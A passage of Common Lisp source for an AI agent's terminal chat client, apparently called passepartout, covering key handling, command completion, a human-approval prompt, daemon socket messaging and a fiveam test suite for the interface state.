((partial (string-trim '(#\Space) (subseq text 7))) - (names '("amber" "gold" "terracotta" "sepia" "nord-warm" "monokai-warm" "gruvbox-warm" "light-amber" "catppuccin" "tokyonight" "dracula" "gemini" "mono")) - (match (if (string= partial "") (first names) - (find partial names :test #'string-equal)))) - (when match - (setf (st :input-buffer) (reverse (coerce (concatenate 'string "/theme " match) 'list))) - (setf (st :dirty) (list nil nil t))))) - ;; /focus subcommand - ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/focus ")) - (let* ((partial (string-trim '(#\Space) (subseq text 7))) - (memex (or (uiop:getenv "MEMEX_DIR") - (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) - (proj (merge-pathnames (make-pathname :directory '(:relative "projects")) memex)) - (dirs (handler-case (mapcar (lambda (d) (car (last (pathname-directory d)))) - (uiop:subdirectories proj)) - (error () nil))) - (match (if (string= partial "") (first dirs) - (find-if (lambda (d) (and (>= (length d) (length partial)) - (string-equal d partial :end2 (length partial)))) - dirs)))) - (when match - (setf (st :input-buffer) (reverse (coerce (concatenate 'string "/focus " match) 'list))) - (setf (st :dirty) (list nil nil t))))) - ;; Command prefix / - ((and (> (length text) 1) (eql (char text 0) #\/)) - (let* ((cmds '("/eval" "/focus" "/scope" "/unfocus" "/help" "/theme" "/reconnect" "/quit")) - (match (find text cmds :test - (lambda (in cmd) (and (>= (length cmd) (length in)) - (string-equal cmd in :end1 (length in))))))) - (when match - (setf (st :input-buffer) (reverse (coerce match 'list))) - (when (member match '("/eval" "/focus" "/scope") :test #'string=) - (push #\Space (st :input-buffer))) - (setf (st :dirty) (list nil nil t)))))))) - ;; Backspace - ((or (eq ch :backspace) (eql ch 127) (eql ch 8) (eql ch 263) - (eql ch #\Backspace)) - (input-delete-char) - (setf (st :dirty) (list nil nil t))) - ;; Left arrow - ((eq ch :left) - (when (> (or (st :cursor-pos) 0) 0) - (decf (st :cursor-pos)) - (setf (st :dirty) (list nil nil t)))) - ;; Right arrow - ((eq ch :right) - (when (< (or (st :cursor-pos) 0) (length (st :input-buffer))) - (incf (st :cursor-pos)) - (setf (st :dirty) (list nil nil t)))) - ;; Up arrow - ((eq ch :up) - (let* ((h (st :input-history)) (p (st :input-hpos))) - (when (and h (< p (1- (length h)))) - (incf (st :input-hpos)) - (setf (st :input-buffer) - (reverse (coerce (nth (st :input-hpos) h) 'list))) - (setf (st :dirty) (list nil nil t))))) - ;; Down arrow - ((eq ch :down) - (when (> (st :input-hpos) 0) - (decf (st :input-hpos)) - (let ((h (st :input-history))) - (setf (st :input-buffer) - (if (and h (< (st :input-hpos) (length h))) - (reverse (coerce (nth (st :input-hpos) h) 'list)) - nil)) - (setf (st :dirty) (list nil nil t))))) - ;; PageUp — scroll back by page (10 lines) - ((eq ch :ppage) - (let ((max-offset (max 0 (- (length (st :messages)) 1)))) - (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10)))) - (setf (st :dirty) (list nil t nil))) - ;; PageDown — scroll forward by page - ((eq ch :npage) - (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10))) - (setf (st :dirty) (list nil t nil))) - ;; Printable - (t - (let ((chr (typecase ch - (character ch) - ((integer 32 126) (code-char ch)) - (keyword (let ((s (string ch))) - (and (= (length s) 1) (char-downcase (char s 0))))) - (t nil)))) - (when (and chr (graphic-char-p chr)) - (input-insert-char chr) - (setf (st :dirty) (list nil nil t)) - (when (and (char= chr #\/) (null (st :dialog-stack)) - (= (length (st :input-buffer)) 1)) - (unified-menu-show "/"))))))) - -;; v0.9.0 — unified command minibuffer (replaces separate palette and slash menus) -(defun unified-menu-show (&optional initial-filter) - "Open the command minibuffer with ALL commands. If INITIAL-FILTER is -supplied (e.g. \"/\"), pre-fill the select filter with it." - (let* ((on-select (lambda (opt) - (pop (st :dialog-stack)) - (let ((val (getf opt :value))) - (cond ((stringp val) - ;; Slash command — fill input buffer - (setf (st :input-buffer) (reverse (coerce val 'list))) - (setf (st :cursor-pos) 0) - (setf (st :dirty) (list nil nil t))) - ((listp val) - ;; Daemon action — send immediately - (send-daemon (list :type :event :payload val)) - (add-msg :system (format nil "Sent: ~a" (getf opt :title))) - (setf (st :dirty) (list t t nil))))))) - (sel (cl-tty.select:make-select :options (all-commands) :on-select on-select))) - (when initial-filter - (setf (cl-tty.select:select-filter sel) initial-filter)) - (let ((dlg (make-instance 'cl-tty.dialog:dialog :title "Commands" :content sel))) - (push dlg (st :dialog-stack))))) - -;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny -(defun resolve-hitl-panel (decision) - "Mark the most recent HITL panel message as resolved with DECISION." - (loop for i from (1- (length (st :messages))) downto 0 - for m = (aref (st :messages) i) - when (and (getf m :panel) (not (getf m :panel-resolved))) - do (setf (getf m :panel-resolved) decision) - (setf (aref (st :messages) i) m) - (setf (st :dirty) (list nil t nil)) - (loop-finish))) - -;; v0.7.2 — self-help-lookup: read USER_MANUAL.org and find matching sections -(defun self-help-lookup (topic) - "Search USER_MANUAL.org for headlines matching TOPIC, return content previews." - (let* ((manual-path (merge-pathnames "projects/passepartout/docs/USER_MANUAL.org" - (merge-pathnames "memex/" (user-homedir-pathname)))) - (results nil)) - (handler-case - (let* ((text (uiop:read-file-string manual-path)) - (lines (uiop:split-string text :separator '(#\Newline))) - (in-section nil) - (section-content nil)) - (dolist (line lines) - (let ((trimmed (string-trim '(#\Space #\Tab) line))) - (cond - ;; New headline - ((and (>= (length trimmed) 2) (eql (char trimmed 0) #\*)) - (when (and in-section section-content) - (push (cons in-section (string-trim '(#\Space #\Newline) - (format nil "~{~a~^ ~}" (reverse section-content)))) - results)) - (let ((title (string-trim '(#\Space #\*) trimmed))) - (if (search topic title :test #'char-equal) - (setf in-section title - section-content nil) - (setf in-section nil - section-content nil)))) - ;; Content line in matching section - (in-section - (when (and (> (length trimmed) 0) - (not (eql (char trimmed 0) #\#))) - (push trimmed section-content)))))) - (when (and in-section section-content) - (push (cons in-section (string-trim '(#\Space #\Newline) - (format nil "~{~a~^ ~}" (reverse section-content)))) - results)) - (nreverse results)) - (error (c) (list (cons "Error" (format nil "Cannot read manual: ~a" c))))))) - -(defun on-daemon-msg (msg) - (let* ((payload (getf msg :payload)) - (text (getf payload :text)) - (msg-type (getf msg :type)) - (action (getf payload :action)) - (level (getf msg :level)) - (gate-trace (getf msg :gate-trace)) - (rule-count (getf payload :rule-count)) - (foveal-id (getf payload :foveal-id)) - (session-cost (getf payload :session-cost))) - ;; v0.7.2: HITL approval-required panel - (when (eq level :approval-required) - (let* ((hitl-msg (or (getf payload :message) - (getf payload :text) - "HITL approval required")) - (hitl-action (getf (getf payload :action) :payload)) - (tool-name (getf hitl-action :tool)) - (explanation (or tool-name "unknown action"))) - (add-msg :system (format nil "┌─ Permission Required ─┐~%~a~%Action: ~a~%Respond: /approve HITL-xxxx or /deny HITL-xxxx" - hitl-msg explanation) - :panel t)) - (setf (st :dirty) (list nil t nil)) - (return-from on-daemon-msg nil)) - ;; v0.7.1: streaming chunk - (when (eq msg-type :stream-chunk) - (cond - ((string= text "") - ;; Final chunk: stamp time, clear streaming - (when (> (length (st :messages)) 0) - (let ((idx (1- (length (st :messages))))) - (setf (getf (aref (st :messages) idx) :streaming) nil) - (setf (getf (aref (st :messages) idx) :time) (now)))) - (setf (st :streaming-text) nil) - (setf (st :busy) nil) - (setf (st :dirty) (list nil t nil)) - (return-from on-daemon-msg nil)) - ((null (st :streaming-text)) - ;; First chunk: add new streaming message - (setf (st :streaming-text) "") - (setf (st :busy) nil) - (add-msg :agent text) - (let ((idx (1- (length (st :messages))))) - (setf (getf (aref (st :messages) idx) :streaming) t)) - (setf (st :streaming-text) text) - (setf (st :dirty) (list nil t nil)) - (return-from on-daemon-msg nil)) - (t - ;; Subsequent chunk: append - (let* ((new-text (concatenate 'string (st :streaming-text) text)) - (idx (1- (length (st :messages))))) - (setf (st :streaming-text) new-text) - (setf (getf (aref (st :messages) idx) :content) new-text) - (setf (st :dirty) (list nil t nil))) - (return-from on-daemon-msg nil)))) - (when rule-count (setf (st :rule-count) rule-count)) - (when foveal-id (setf (st :foveal-id) foveal-id)) - (when session-cost (setf (st :session-cost) session-cost)) - (cond - (text (setf (st :busy) nil) - (add-msg :agent text :gate-trace gate-trace)) - ((eq action :handshake) - (setf (st :daemon-version) (getf payload :version))) - (t (add-msg :agent (format nil "~a" msg)))))) - -(defun send-daemon (msg) - (let ((s (st :stream))) - (when (and s (open-stream-p s)) - (handler-case - (progn - (format s "~a" (frame-message msg)) - (finish-output s)) - (error () nil))))) - -(defun recv-daemon (s) - (handler-case - (let* ((hdr (make-string 6)) (n 0)) - (loop while (< n 6) - do (let ((ch (read-char s nil))) - (unless ch (return-from recv-daemon nil)) - (setf (char hdr n) ch) (incf n))) - (let* ((len (parse-integer hdr :radix 16 :junk-allowed t)) - (buf (make-string (or len 0)))) - (when (and len (> len 0)) - (loop for i from 0 below len - do (let ((ch (read-char s nil))) - (unless ch (return-from recv-daemon nil)) - (setf (char buf i) ch))) - (let ((*read-eval* nil)) - (read-from-string buf))))) - (error () nil))) - -(defun reader-loop (s) - (let ((consecutive-nils 0)) - (loop while (and (st :running) (open-stream-p s)) - do (let ((msg (recv-daemon s))) - (if msg - (progn (queue-event (list :type :daemon :payload msg)) - (setf consecutive-nils 0)) - (progn (sleep 0.5) - (incf consecutive-nils) - (when (> consecutive-nils 10) - (queue-event (list :type :disconnected)) - (return)))))))) - -(defun load-history () - "Load input history from disk on TUI startup." - (let ((hist-file (merge-pathnames ".cache/passepartout/history" - (user-homedir-pathname)))) - (when (uiop:file-exists-p hist-file) - (with-open-file (in hist-file :direction :input) - (loop for line = (read-line in nil nil) - while line - do (push line (st :input-history)))) - (setf (st :input-history) (nreverse (st :input-history)))))) - -(defun connect-daemon (&optional (host "127.0.0.1") (start-port 9105) (end-port 9115)) - "Try to connect to daemon once across START-PORT to END-PORT. -Returns T on success, nil on failure. Does NOT wait or retry." - (loop for port from start-port to end-port - do (handler-case - (let ((s (usocket:socket-connect host port :timeout 2))) - (setf (st :stream) (usocket:socket-stream s) - (st :connected) t) - (bt:make-thread (lambda () (reader-loop (st :stream))) - :name "tui-reader") - (return-from connect-daemon t)) - (usocket:connection-refused-error () nil) - (error (c) nil))) - nil) - -(defun disconnect-daemon () - (when (st :stream) - (ignore-errors (close (st :stream))) - (setf (st :stream) nil (st :connected) nil) - (add-msg :system (format nil "* Disconnected [now=~a] *" (now))))) - -;; v0.8.0 — Global keymap -(eval-when (:load-toplevel :execute) - (cl-tty.input:defkeymap :global - (:ctrl+q (lambda (e) (declare (ignore e)) - (setf (st :running) nil))) - (:ctrl+p (lambda (e) (declare (ignore e)) - (unified-menu-show))) - (:ctrl+b (lambda (e) (declare (ignore e)) - (setf (st :sidebar-mode) - (case (st :sidebar-mode) - (:auto :visible) - (:visible :hidden) - (:hidden :auto))) - (setf (st :dirty) (list t t nil)))) - (:ppage (lambda (e) (declare (ignore e)) - (let ((max-offset (max 0 (- (length (st :messages)) 1)))) - (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10)))) - (setf (st :dirty) (list nil t nil)))) - (:npage (lambda (e) (declare (ignore e)) - (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10))) - (setf (st :dirty) (list nil t nil)))) - ;; v0.9.0 — Readline keybindings - (:ctrl+a (lambda (e) (declare (ignore e)) - (setf (st :cursor-pos) 0))) - (:ctrl+e (lambda (e) (declare (ignore e)) - (setf (st :cursor-pos) (length (st :input-buffer))))) - (:ctrl+u (lambda (e) (declare (ignore e)) - (setf (st :input-buffer) nil) - (setf (st :cursor-pos) 0) - (setf (st :dirty) (list nil nil t)))) - (:ctrl+w (lambda (e) (declare (ignore e)) - (let ((buf (st :input-buffer))) - (loop while (and buf (char= (first buf) #\Space)) do (pop buf)) - (loop while (and buf (char/= (first buf) #\Space)) do (pop buf)) - (setf (st :input-buffer) buf) - (setf (st :dirty) (list nil nil t))))) - (:ctrl+k (lambda (e) (declare (ignore e)) - (let* ((s (input-string)) - (pos (or (st :cursor-pos) 0)) - (killed (subseq s pos))) - (setf (st :kill-ring) killed) - (setf (st :input-buffer) (reverse (coerce (subseq s 0 pos) 'list))) - (setf (st :dirty) (list nil nil t))))) - (:ctrl+y (lambda (e) (declare (ignore e)) - (let ((killed (st :kill-ring))) - (when killed - (dolist (ch (reverse (coerce killed 'list))) - (push ch (st :input-buffer))) - (setf (st :cursor-pos) (length (st :input-buffer))) - (setf (st :dirty) (list nil nil t)))))) - (:ctrl+l (lambda (e) (declare (ignore e)) - (setf (st :dirty) (list t t t)))) - (:ctrl+d (lambda (e) (declare (ignore e)) - (when (or (null (st :input-buffer)) (string= "" (input-string))) - (add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))) - (:ctrl+f (lambda (e) (declare (ignore e)) - (add-msg :system "Use /search to find messages"))) - (:ctrl+g (lambda (e) (declare (ignore e)) - (let ((gate-idx nil)) - (loop for i from (1- (length (st :messages))) downto 0 - for m = (aref (st :messages) i) - when (and (getf m :gate-trace) (listp (getf m :gate-trace))) - do (setf gate-idx i) (loop-finish)) - (if gate-idx - (let ((cg (st :collapsed-gates))) - (if (member gate-idx cg) - (setf (st :collapsed-gates) (remove gate-idx cg)) - (push gate-idx (st :collapsed-gates))) - (add-msg :system (format nil "Gate trace ~a for msg ~a" - (if (member gate-idx (st :collapsed-gates)) "hidden" "shown") - gate-idx)) - (setf (st :dirty) (list nil t nil))) - (add-msg :system "No gate trace to toggle"))))) - (:alt+enter (lambda (e) (declare (ignore e)) - (push #\Newline (st :input-buffer)) - (setf (st :dirty) (list nil nil t)))) - ;; v0.9.0 — Ctrl+X prefix + help - (:ctrl+x (lambda (e) (declare (ignore e)) - (setf (st :pending-ctrl-x) t))) - (:? (lambda (e) (declare (ignore e)) - (add-msg :system "Keybindings: Ctrl+P palette | Ctrl+B sidebar | Ctrl+F search | Ctrl+L redraw | Ctrl+D quit | Ctrl+Q quit | PageUp/Dn scroll | Esc interrupt | Tab complete | Up/Dn history") - (add-msg :system "Commands: /eval | /undo | /redo | /why | /identity | /tags | /audit | /search | /context | /focus | /scope | /unfocus | /theme | /reconnect | /help") - (setf (st :dirty) (list t t nil)))))) - -;; v0.8.0 — Prompt/local keymap (for when input is active) -(eval-when (:load-toplevel :execute) - (cl-tty.input:defkeymap :local - (:up (lambda (e) (declare (ignore e)) (on-key :up))) - (:down (lambda (e) (declare (ignore e)) (on-key :down))) - (:escape (lambda (e) (declare (ignore e)) (on-key :escape))))) - -(defvar *cat-proc* nil "Cat subprocess for keyboard input (unused — direct stdin reads)") -(defvar *tty-in* nil "Stream from cat subprocess stdout (unused — direct stdin reads)") - -(defun tui-main () - (init-state) - (load-history) - (theme-load) - (let* ((swank-port (or (ignore-errors - (parse-integer (uiop:getenv "TUI_SWANK_PORT"))) - 4006))) - (setf (st :dirty) (list t t t)) - ;; Quick sync connect attempt (just 3 ports, 6s max) - (let ((connected (connect-daemon "127.0.0.1" 9105 9107))) - (unless connected - (add-msg :system "* Daemon not found — will retry in background... *"))) - (when (> swank-port 0) - (handler-case - (progn - (ql:quickload :swank :silent t) - (let ((*standard-output* (make-string-output-stream)) - (*error-output* (make-string-output-stream))) - (funcall (find-symbol "CREATE-SERVER" "SWANK") - :port swank-port :dont-close t)) - (add-msg :system - (format nil "* Swank ~d M-x slime-connect *" swank-port))) - (error () - (add-msg :system "* Swank unavailable *")))) - (cl-tty.backend:with-terminal (be w h) - ;; stty -icanon -echo -ixon is set by the bash script. - ;; We read directly from SBCL's stdin (fd 0) since the - ;; terminal is in raw mode — no cat subprocess needed. - (add-msg :system (format nil "* ~a backend ~dx~d *" - (if (typep be 'cl-tty.backend:modern-backend) "modern" "simple") - w h)) - ;; Initial dirty all to trigger first redraw in loop - (setq w (or (and (numberp w) (> w 0) w) 80) - h (or (and (numberp h) (> h 0) h) 24)) - ;; Retry daemon connection in background if sync attempt failed - (unless (st :connected) - (add-msg :system "* Connecting to daemon... *") - (bt:make-thread - (lambda () - (loop while (and (st :running) (not (st :connected))) - do (connect-daemon) - (unless (st :connected) (sleep 5)))) - :name "daemon-auto-connect")) - (loop while (st :running) do - (dolist (ev (drain-queue)) - (cond - ((eq (getf ev :type) :daemon) - (on-daemon-msg (getf ev :payload))) - ((eq (getf ev :type) :disconnected) - (setf (st :connected) nil - (st :busy) nil) - (add-msg :system "* Connection lost — type /reconnect to retry *")) - ((eq (getf ev :type) :key) - (let* ((payload (getf ev :payload)) - (ch (getf payload :ch))) - (case ch - (:CTRL-Q (setf (st :running) nil)) - (:CTRL-P (unified-menu-show)) - (:CTRL-B (setf (st :sidebar-mode) - (case (st :sidebar-mode) - (:auto :visible) - (:visible :hidden) - (:hidden :auto))) - (setf (st :dirty) (list t t t))) - (:CTRL-L (setf (st :dirty) (list t t t))) - (t (if (st :dialog-stack) - (let* ((dlg (car (st :dialog-stack))) - (sel (cl-tty.dialog:dialog-content dlg))) - (cond - ((eql ch :escape) - (pop (st :dialog-stack)) - (setf (st :dirty) (list t t nil))) - ((member ch '(:up :down)) - (if (eql ch :up) - (cl-tty.select:select-prev sel) - (cl-tty.select:select-next sel))) - ((member ch '(:enter 13 10)) - (let* ((filtered (cl-tty.select:select-filtered-options sel)) - (idx (cl-tty.select:select-selected-index sel)) - (item (when (< idx (length filtered)) - (third (nth idx filtered))))) - (when item - (let ((cb (cl-tty.select:select-on-select sel))) - (when cb (funcall cb item)))))) - ((let ((chr (if (characterp ch) ch - (and (integerp ch) (<= 32 ch 126) - (code-char ch))))) - (and chr (graphic-char-p chr)) - (setf (cl-tty.select:select-filter sel) - (concatenate 'string - (or (cl-tty.select:select-filter sel) "") - (string chr))))) - ((member ch '(:backspace 127 8)) - (let ((f (cl-tty.select:select-filter sel))) - (when (> (length f) 0) - (setf (cl-tty.select:select-filter sel) - (subseq f 0 (1- f)))))))) - (on-key ch)))))))) - ;; Keyboard reader via read-raw-byte (proven CSI detection) - (handler-case - (let* ((b (cl-tty.input::read-raw-byte :timeout 0.1)) - (esc-seq (and b (= b 27) - (let ((b2 (cl-tty.input::read-raw-byte :timeout 0.15))) - (when (and b2 (= b2 91)) - (let ((t2 (cl-tty.input::read-raw-byte :timeout 0.15))) - (and t2 (case t2 - (65 :up) (66 :down) - (67 :right) (68 :left) - (72 :home) (70 :end) - (otherwise :escape))))))))) - (when b - (queue-event - (list :type :key - :payload (list :code b - :ch (or esc-seq - (cond - ((= b 13) :enter) - ((= b 10) :enter) - ((= b 27) :escape) - ((= b 9) :tab) - ((or (= b 127) (= b 8)) :backspace) - ((and (>= b 1) (<= b 26)) - (intern - (string-upcase - (format nil "CTRL-~a" - (code-char (+ #x60 b)))) - :keyword)) - (t b)))))))) - (error (c) - (add-msg :system (format nil "* Reader error: ~a *" c)))) - ;; Check for terminal resize (SIGWINCH sets this flag) - (when (boundp 'cl-tty.input::*terminal-resized-p*) - (when cl-tty.input::*terminal-resized-p* - (setf cl-tty.input::*terminal-resized-p* nil) - (multiple-value-setq (w h) (cl-tty.backend:backend-size be)) - (setq w (or (and (numberp w) (> w 0) w) 80) - h (or (and (numberp h) (> h 0) h) 24)) - (setf (st :dirty) (list t t t)))) - ;; Guard w and h before render (resize or other code may have set them to nil) - (setq w (or (and (numberp w) (> w 0) w) 80) - h (or (and (numberp h) (> h 0) h) 24)) - (unless (st :dialog-stack) - (redraw be w h)) - (let ((ds (st :dialog-stack))) - (when ds - (cl-tty.backend:begin-sync be) - (let* ((chat-w (- w (if (sidebar-visible-p w) (or (st :sidebar-width) 42) 0))) - (dlg (car ds)) - (sel (cl-tty.dialog:dialog-content dlg)) - (filtered (cl-tty.select:select-filtered-options sel)) - (sel-idx (cl-tty.select:select-selected-index sel)) - (cnt (length filtered)) - (filter (cl-tty.select:select-filter sel)) - (mh (min 15 (+ 1 cnt))) - (panel-top (passepartout.channel-tui:input-panel-top chat-w h)) - (top (max 0 (- panel-top mh))) - (bg-p (theme-color :bg-panel)) - (sep-c (theme-color :separator))) - ;; Fill minibuffer area with panel bg - (dotimes (r (min (- h 3 top) h)) - (cl-tty.backend:draw-rect be 0 (+ top r) chat-w 1 :bg bg-p)) - ;; Top separator - (cl-tty.backend:draw-text be 0 top - (make-string chat-w :initial-element #\─) - sep-c bg-p) - (cl-tty.backend:draw-text be 1 top - (cl-tty.dialog:dialog-title dlg) - (theme-color :accent) bg-p) - ;; Options - (let ((y-off 1)) - (dolist (item filtered) - (let* ((display-idx (first item)) - (option (third item)) - (title (getf option :title)) - (cat (getf option :category)) - (sel-p (eql display-idx (or sel-idx 0))) - (text (if cat (format nil " ~a" title) - (format nil " ~a" title))) - (row (+ top y-off))) - (when (>= row (1- h)) (return)) - (cond - (sel-p - (cl-tty.backend:draw-rect be 1 row (1- chat-w) 1 - :bg (theme-color :input-fg)) - (cl-tty.backend:draw-text be 1 row (format nil " >> ~a" title) - (theme-color :bg-input) (theme-color :input-fg))) - (cat - (cl-tty.backend:draw-text be 1 row text - (theme-color :text-muted) bg-p)) - (t - (cl-tty.backend:draw-text be 1 row text - (theme-color :agent-fg) bg-p))) - (incf y-off)))) - (cl-tty.backend:draw-rect be 0 (- h 3) chat-w 1 :bg bg-p) - (cl-tty.backend:draw-text be 0 (- h 3) - (format nil "> ~a" (or filter "")) - (theme-color :input-prompt) bg-p)) - (cl-tty.backend:end-sync be)) - (sleep 0.1) - ;; Show terminal cursor at input position every frame - (unless (st :dialog-stack) - (passepartout.channel-tui:position-cursor be w h)))) - (progn (disconnect-daemon))))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tui-tests - (:use :cl :passepartout :passepartout.channel-tui) - (:export #:tui-suite)) - -(in-package :passepartout-tui-tests) - -(fiveam:def-suite tui-suite :description "Verification of the TUI model and event handling") -(fiveam:in-suite tui-suite) - -(fiveam:test test-init-state - "Contract model.1: init-state returns fresh state plist with required keys." - (init-state) - (fiveam:is (eq t (st :running))) - (fiveam:is (eq :chat (st :mode))) - (fiveam:is (eq nil (st :connected))) - (fiveam:is (eq nil (st :stream))) - (fiveam:is (zerop (length (st :messages)))) - (fiveam:is (eq 0 (st :scroll-offset))) - (fiveam:is (eq nil (st :busy)))) - -(fiveam:test test-add-msg - "Contract model.2: add-msg appends a message with role, content, and time." - (init-state) - (add-msg :user "hello") - (let* ((msgs (st :messages)) - (msg (aref msgs 0))) - (fiveam:is (eq :user (getf msg :role))) - (fiveam:is (string= "hello" (getf msg :content))) - (fiveam:is (stringp (getf msg :time))) - (fiveam:is (= 5 (length (getf msg :time)))))) - -(fiveam:test test-add-msg-dirty-flag - "Contract model.2: add-msg sets dirty flags for status and chat." - (init-state) - (setf (st :dirty) (list nil nil nil)) - (add-msg :system "boot") - (let ((dirty (st :dirty))) - (fiveam:is (eq t (first dirty))) - (fiveam:is (eq t (second dirty))) - (fiveam:is (eq nil (third dirty))))) - -(fiveam:test test-queue-event-roundtrip - "Contract model.3: queue-event + drain-queue preserves events in order." - (init-state) - (queue-event '(:type :key :payload (:ch 13))) - (queue-event '(:type :daemon :payload (:text "hi"))) - (let ((evs (drain-queue))) - (fiveam:is (= 2 (length evs))) - (fiveam:is (equal '(:type :key :payload (:ch 13)) (first evs))) - (fiveam:is (equal '(:type :daemon :payload (:text "hi")) (second evs))) - (fiveam:is (null (drain-queue))))) - -(fiveam:test test-on-key-enter-sends-user-message - "Contract 1: on-key with Enter extracts input, adds user message, clears buffer." - (init-state) - ;; Simulate typing "test" - (dolist (ch '(#\t #\e #\s #\t)) - (on-key (char-code ch))) - (fiveam:is (string= "test" (input-string))) - ;; Simulate Enter key — ncurses returns 343 (KEY_ENTER) when keypad is enabled - (on-key 343) - ;; Input buffer should be cleared - (fiveam:is (string= "" (input-string))) - ;; A user message should be in the message list - (let ((msgs (st :messages))) - (fiveam:is (>= (length msgs) 1)) - (let ((last (aref msgs 0))) - (fiveam:is (eq :user (getf last :role))) - (fiveam:is (string= "test" (getf last :content)))))) - -(fiveam:test test-on-key-eval-command - "Contract 1: on-key handles /eval command and displays result." - (init-state) - ;; Type "/eval (+ 1 2)" - (dolist (ch (coerce "/eval (+ 1 2)" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((msgs (st :messages))) - (fiveam:is (>= (length msgs) 1)) - (let ((last-msg (aref msgs 0))) - (fiveam:is (eq :system (getf last-msg :role))) - (fiveam:is (search "=> 3" (getf last-msg :content)))))) - -(fiveam:test test-on-key-backspace - "Contract 1: on-key with Backspace removes last character from buffer." - (init-state) - (dolist (ch '(#\a #\b #\c)) - (on-key (char-code ch))) - (fiveam:is (string= "abc" (input-string))) - ;; ncurses returns 263 (KEY_BACKSPACE) when keypad is enabled - (on-key 263) - (fiveam:is (string= "ab" (input-string)))) - -(fiveam:test test-on-key-focus-command - "Contract 1: /focus command parses project name." - (init-state) - (dolist (ch (coerce "/focus myapp" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((msg (aref (st :messages) 0))) - (fiveam:is (eq :system (getf msg :role))))) - -(fiveam:test test-on-key-scope-command - "Contract 1: /scope command with valid argument." - (init-state) - (dolist (ch (coerce "/scope memex" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((msg (aref (st :messages) 0))) - (fiveam:is (eq :system (getf msg :role))))) - -(fiveam:test test-on-key-unfocus-command - "Contract 1: /unfocus command dispatches correctly." - (init-state) - (dolist (ch (coerce "/unfocus" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((msg (aref (st :messages) 0))) - (fiveam:is (eq :system (getf msg :role))))) - -(fiveam:test test-on-key-tab-completion - "Contract 1: Tab completes / commands when input starts with /." - (init-state) - (dolist (ch (coerce "/ev" 'list)) - (on-key (char-code ch))) - (on-key 9) - (fiveam:is (string= "/eval " (input-string)))) - -(fiveam:test test-on-key-tab-no-slash - "Contract 1: Tab does nothing when input doesn't start with /." - (init-state) - (dolist (ch (coerce "hello" 'list)) - (on-key (char-code ch))) - (on-key 9) - (fiveam:is (string= "hello" (input-string)))) - -(fiveam:test test-on-key-multiline - "Contract 1: \\ + Enter inserts newline instead of sending." - (init-state) - (dolist (ch (coerce "line1" 'list)) - (on-key (char-code ch))) - (on-key (char-code #\\)) - (on-key 343) - (fiveam:is (search "line1" (input-string))) - (fiveam:is (search (string #\Newline) (input-string)))) - -(fiveam:test test-on-key-help - "Contract 1: /help displays command list." - (init-state) - (dolist (ch (coerce "/help" 'list)) - (on-key (char-code ch))) - (on-key 343) - (let ((msgs (st :messages))) - (fiveam:is (>= (length msgs) 3)) - (fiveam:is (some (lambda (m) (search "/eval" (getf m :content))) msgs)))) - -(fiveam:test test-activity-indicator - "Contract model: :busy flag is set on send and cleared on agent response." - (init-state) - (fiveam:is (eq nil (st :busy))) - ;; Simulate sending a normal message (sets busy) - (dolist (ch (coerce "hello" 'list)) - (on-key (char-code ch))) - (on-key 343) - (fiveam:is (eq t (st :busy))) - ;; Simulate receiving an agent response (clears busy) - (on-daemon-msg '(:type :event :payload (:text "hi back"))) - (fiveam:is (eq nil (st :busy)))) - -(fiveam:test test-theme - "Contract view: *tui-theme* provides color mappings." - (fiveam:is (string= "#fab283" (getf *tui-theme* :user-fg))) - (fiveam:is (string= "#e8e8e8" (getf *tui-theme* :agent-fg))) - (fiveam:is (string= "#808080" (getf *tui-theme* :system))) - (fiveam:is (string= "#e8e8e8" (getf *tui-theme* :input-fg))) - (fiveam:is (string= "#FFFFFF" (theme-color :unknown-role)))) - -(fiveam:test test-on-key-ctrl-u-clears - "Contract v0.9.0: Ctrl+U (via dispatch-key-event) clears the input buffer." - (init-state) - (dolist (ch '(#\h #\i)) (on-key (char-code ch))) - (cl-tty.input:dispatch-key-event - (cl-tty.input:make-key-event :key :u :ctrl t :code 21)) - (fiveam:is (string= "" (input-string)))) - -(fiveam:test test-on-key-ctrl-l-redraws - "Contract v0.9.0: Ctrl+L (via dispatch-key-event) sets all dirty flags." - (init-state) - (setf (st :dirty) (list nil nil nil)) - (cl-tty.input:dispatch-key-event - (cl-tty.input:make-key-event :key :l :ctrl t :code 12)) - (let ((d (st :dirty))) - (fiveam:is (eq t (first d))) - (fiveam:is (eq t (second d))))) - -(fiveam:test test-scroll-notify - "Contract/v0.7.0: add-msg sets scroll-notify when scrolled up." - (init-state) - (setf (st :scroll-at-bottom) nil) - (add-msg :agent "hi") - (fiveam:is (eq t (st :scroll-notify))) - (setf (st :scroll-at-bottom) t (st :scroll-notify) nil) - (add-msg :agent "hi2") - (fiveam:is (eq nil (st :scroll-notify)))) - -(fiveam:test test-tab-subcommand - "Contract/v0.7.0: Tab completes subcommand for /theme." - (init-state) - (dolist (ch (coerce "/theme " 'list)) (on-key (char-code ch))) - (on-key 9) - (fiveam:is (search "amber" (input-string) :test #'char-equal))) - -;; ── v0.7.1 Streaming ── - -(fiveam:test test-stream-chunk-appends - "Contract/v0.7.1: stream-chunk frame appends to last message." - (init-state) - (on-daemon-msg '(:type :stream-chunk :payload (:text "Hello"))) - (on-daemon-msg '(:type :stream-chunk :payload (:text " world"))) - (let ((msgs (st :messages))) - (fiveam:is (= 1 (length msgs))) - (let ((msg (aref msgs 0))) - (fiveam:is (eq :agent (getf msg :role))) - (fiveam:is (string= "Hello world" (getf msg :content))) - (fiveam:is (eq t (getf msg :streaming)))))) - -(fiveam:test test-stream-chunk-final - "Contract/v0.7.1: final empty chunk stamps timestamp and clears streaming flag." - (init-state) - (on-daemon-msg '(:type :stream-chunk :payload (:text "Hi"))) - (on-daemon-msg '(:type :stream-chunk :payload (:text ""))) - (let ((msg (aref (st :messages) 0))) - (fiveam:is (stringp (getf msg :time))) - (fiveam:is (string= "Hi" (getf msg :content))) 